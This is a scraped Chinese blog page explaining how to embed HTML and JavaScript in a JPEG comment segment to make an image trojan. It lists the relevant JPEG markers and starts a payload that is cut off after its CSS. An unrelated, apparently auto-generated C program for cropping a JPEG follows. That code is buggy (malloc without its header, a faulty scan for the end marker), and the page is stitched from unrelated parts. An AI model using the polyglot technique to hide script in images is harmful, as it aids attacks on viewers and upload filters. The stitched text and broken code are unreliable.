JPEG文件内嵌HTML代码(JavaScript型图片马)

基础概念

0xFFD8:jpeg文件开始标志;
0xFFFE:jpeg文件注释开始标志;
0x0166:注释后紧跟的16进制数值,被选中部分长度为358字节,换算为16进制为166;
0xFFE0:标志图片内容开始。
在这里插入图片描述
(图为winhex)

payload:

<html>
	<body>
	<style>body {
      visibility: hidden; } .n {
      visibility: visible; position: absolute; padding: 0 1ex 0 1ex; margin: 0; top: 0; left: 0; } h1 
  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
截取jpeg图片代码主要涉及文件的读取和写入,以及对图片文件格式的了解和处理。以下是一个简单的C语言代码示例: ```c #include <stdio.h> int main() { FILE *input_file, *output_file; unsigned char header[4]; unsigned char *image_data; int image_size = 0; // 1. 打开输入文件 input_file = fopen("input.jpg", "rb"); if (input_file == NULL) { printf("无法打开输入文件\n"); return 1; } // 2. 读取jpeg文件头部 fread(header, sizeof(unsigned char), 4, input_file); // 3. 检查文件头是否是JPEG格式 if (header[0] != 0xFF || header[1] != 0xD8 || header[2] != 0xFF || header[3] != 0xE0) { printf("输入文件不是JPEG格式\n"); fclose(input_file); return 1; } // 4. 寻找SOI标记之后的EOI标记 while (1) { fread(header, sizeof(unsigned char), 2, input_file); if (header[0] != 0xFF) { break; } if (header[1] == 0xD9) { break; } } // 5. 计算图片大小 image_size = ftell(input_file) - 2; fseek(input_file, 0, SEEK_SET); // 6. 分配内存,并将图片数据读取到内存中 image_data = (unsigned char *)malloc(sizeof(unsigned char) * image_size); fread(image_data, sizeof(unsigned char), image_size, input_file); // 7. 打开输出文件 output_file = fopen("output.jpg", "wb"); if (output_file == NULL) { printf("无法打开输出文件\n"); free(image_data); fclose(input_file); return 1; } // 8. 将图片数据写入输出文件 fwrite(image_data, sizeof(unsigned char), image_size, output_file); // 9. 关闭文件和释放内存 fclose(input_file); fclose(output_file); free(image_data); printf("截取完成\n"); return 0; } ``` 这是一个简单的例子。它首先打开输入文件,并校验文件头部是否符合JPEG格式。然后从SOI标记开始寻找到EOI标记,计算图片的大小,并将图片数据读取到内存中。最后打开输出文件,并将图片数据写入输出文件代码中使用了标准C库中的文件读写函数以及内存分配函数来实现截取JPEG图片的功能。请注意,此示例未完全考虑错误处理和内存分配失败的情况,实际应用中需要进一步完善。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值